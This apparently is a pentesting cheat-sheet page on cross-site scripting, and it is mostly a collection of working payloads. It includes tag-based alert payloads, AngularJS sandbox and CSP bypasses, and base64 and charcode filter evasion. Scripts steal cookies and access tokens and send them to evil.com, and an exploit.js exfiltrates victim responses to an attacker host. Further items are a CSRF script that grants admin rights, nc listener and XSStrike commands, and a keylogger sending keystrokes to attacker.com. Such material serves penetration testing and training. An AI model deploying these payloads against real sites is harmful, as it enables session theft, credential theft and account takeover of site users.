XSS (Cross-Site Scripting)

Last modified: 2023-07-22

XSS Web

XSS enables attackers to injection client-side scripts into web applications.

Payloads

We can insert them into URL params, POST params or HTTP headers.
Additionary, we can also find CVE related XSS here.

Script Tags

<script>alert(1)</script>
"><script>alert(1)</script>
<script>alert(1)</script>
"><script>alert(1)</script>
'></script><script>alert(1)</script>
<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
<script>throw onerror=alert,'hello',123,'world'</script>
<script>fetch('/profile?new_password=password');</script>
</textarea><script>alert(1)</script>

%3Cscript%3Ealert%281%29%3C%2Fscript%3E

';alert(1);'

Img Tags

" src=1 onerror=alert(1)>
<><img src=1 onerror=alert(1)>
"><img src=1 onerror=alert(1)>
"></span><img src=1 onerror=alert(1)>

<img src="javascript:alert(1)">
<img src="jav ascript:alert(1)">
<img src="jav&#x09;ascript:alert(1)">
<img src="jav&#x0A;ascript:alert(1)">

<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">

SVG Tags

"><svg onload=alert(1)>
<svg onmouseover="alert(1)"></svg>
<svg><animatetransform onclick="alert(1)"></svg>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

Input Tags

<input autofocus onfocus=alert(1)>

Select Tags

<select autofocus onfocus=alert(1)>

Anchor Tags

<a onmouseover=alert(1)>click</a>
<a href="javascript:alert(1)">Click</a>

Iframe Tags

<iframe src="javascript:alert(1)"></iframe>
<iframe src=http://10.0.0.1:8000/xss.js></iframe>
<iframe onload=alert(1)></iframe>

Body Tags

<body onload=alert(/XSS/.source)>
<body background="javascript:alert(1)">

HTML Entity

Reference: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html#img-onerror-and-javascript-alert-encode

<!-- <img src=javascript:alert('XSS')> -->
<img src=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<!-- onerror="javascript:alert('XSS')" -->
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Others

" onmouseleave='alert(1)'">

javascript:alert(1)
\"-alert(1)//

/?q=&subparam=--><script>alert(1)</script>
/index.php#value='><script>alert(1)</script>

To find tags, events and payloads for XSS, we can see Port Swigger's XSS Cheat Sheet.


Payloads - JQuery

https://example.com/#<img src=1 onerror=alert(1)>
<iframe src="https://example.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'">

Payloads - AngularJS

If you find <html ng-app>, <body ng-app> or <div ng-app> in the HTML source code, you may be able to abuse it by XSS.

https://example.com/?search={{$eval.constructor('alert(1)')()}}
https://example.com/?search={{$on.constructor('alert(1)')()}}

To perform XSS without $eval function and quotes, we might be able to take another approach.
This PortSwigger's lab provides the following payload. But sorry, I don’t understand how it works at the moment.

# toString() : Create a string without quotes.
# toString().constructor.prototype.charAt=[].join :  Override `charAt` function for all strings with `[].join`.
# [1]|orderBy:toString().constructor.fromCharCode(...) : Pass an array to the `orderBy` filter.
# 120,61,97,108,101,114,116,40,49,41 : It means `x=alert(1)` in decimal.
https://example.com/?q=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

AngularJS and CSP (Content Security Policy)

Reference: PortSwigger's lab

If the website uses AngularJS with CSP (ng-csp) as below,

<body ng-app ng-csp>

We need to bypass them by using a focus event (ng-focus),

/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';

Create the following payload for stealing Cookie and inject into target web page.

<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=document.cookie;fetch(`http://evil.com/${c}`)</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>

<!-- POST -->
<script>
    fetch("http://10.0.0.1/", {
        method: 'POST',
        mode: 'no-cors',
        body: document.cookie
    });
</script>

To retrieve data, start web server or listener in local machine.

sudo python3 -m http.server 80
# or
sudo nc -lvp 80

Filter Evasion

Base64 & Eval

Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code.
For example, convert JavaScript code to Base64 string, then insert the base64 string into the “eval” function as below.

# ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs= : fetch("http://evil.com/"+document.cookie);
<img src=x onerror="eval(decode64('ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs='))">

# '(' => '\x28'
# ')' => '\x29'
<img src="x" onerror=eval.call`${"eval\x28atob`ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs=`\x29"}`

Charcode & Eval

We can use charcode (we can generate easily in CiberChef with the Base10 option) of the payload as below.

fetch("http://evil.com/"+document.cookie);

# Charcode (Base10): 102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59

Then create eval function to use it.

<img src=x onerror="eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">

Interact with Another Host via XML HTTP Request

We might be able to send request the another host and retrieve the response.
First, create a JavaScript file named exploit.js here. Replace http://evil.com with your local ip address.
By this script, we send a request to http://sub.victim.com then fetch the response from the host.

  • GET Request
// exploit.js
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr_exfil = new XMLHttpRequest();
        xhr_exfil.open('POST', "http://evil.com:1234/", false);
        xhr_exfil.send(xhr.response);
    }
};
xhr.open('GET', "http://victim.com/index.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send();
  • POST Request
// exploit.js
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr_exfil = new XMLHttpRequest();
        xhr_exfil.open('POST', "http://evil.com:1234/", false);
        xhr_exfil.send(xhr.response);
    }
};
xhr.open('POST', "http://victim.com/login.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send("username=admin&password=admin");

Now we start web server to host the exploit.js and listener to receive the response.

# Terminal 1: Web server
sudo python3 -m http.server 80

# Terminal 2: Listener
sudo nc -lvp 1234

Then send a request with XSS to execute our payload (exploit.js). Replace the evil.com with your local ip address.

<script src="http://evil.com/exploit.js"></script>

We might fetch the response.


CSRF

The example below sends request to /admin on the victim site at first.
And retrieve HTML document and get CSRF token. Next, insert the new form element to submit arbitrary POST data.

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.com/admin", true);
xhr.send();

setTimeout(function() {
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var token = doc.getElementById('csrf_token').value;
    var evilDOM = new DOMParser().parseFromString('<form id="evilform" method="POST" action="/admin/change-user-status"><input type="hidden" name="csrf_token" value="temp"><input type="text" name="username" value="john"><input type="number" name="is_admin" value="0"><button name="button" type="submit">Submit</button></form>', 'text/html');
    
		document.body.append(evilDOM.forms.evilform);
		var evilForm = document.getElementById('evilform');
    evilForm.elements.csrf_token.value = token;
		evilForm.elements.is_admin.value = 1;
    evilForm.submit();
}, 3000);

After that, we can inject the script above in XSS.
For example, encode the script as Base64, then put it into the XSS payload as below.

<!-- `dmFyIHh...DAwKTs=` is the Base64 encoded script above -->
<img src=x onerror=eval.call`${"eval\x28atob`dmFyIHh...DAwKTs=`\x29"}`>

We might be able to get sensitive information or change crucial data on the target.


Automation

XSStrike is a XSS scanner.

# GET request
python xsstrike.py -u http://vulnerable.com/?param=test

# POST reqeust
python xsstrike.py -u http://vulnerable.com/post --data "username=test&email=test&comment=test"

# data as JSON
python xsstrike.py -u http://vulnerable.com/comment --data '{"comment": "test"}' --json

Register New User with XSS

If the user name is reflected in the website, we might be able to inject XSS when registration.

username=john<script>alert(1)</script>&password=pass

Key Logging

Reference: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#javascript-keylogger

<img src=x onerror='document.onkeypress=function(e){fetch("http://attacker.com?k="+String.fromCharCode(e.which))},this.remove();'>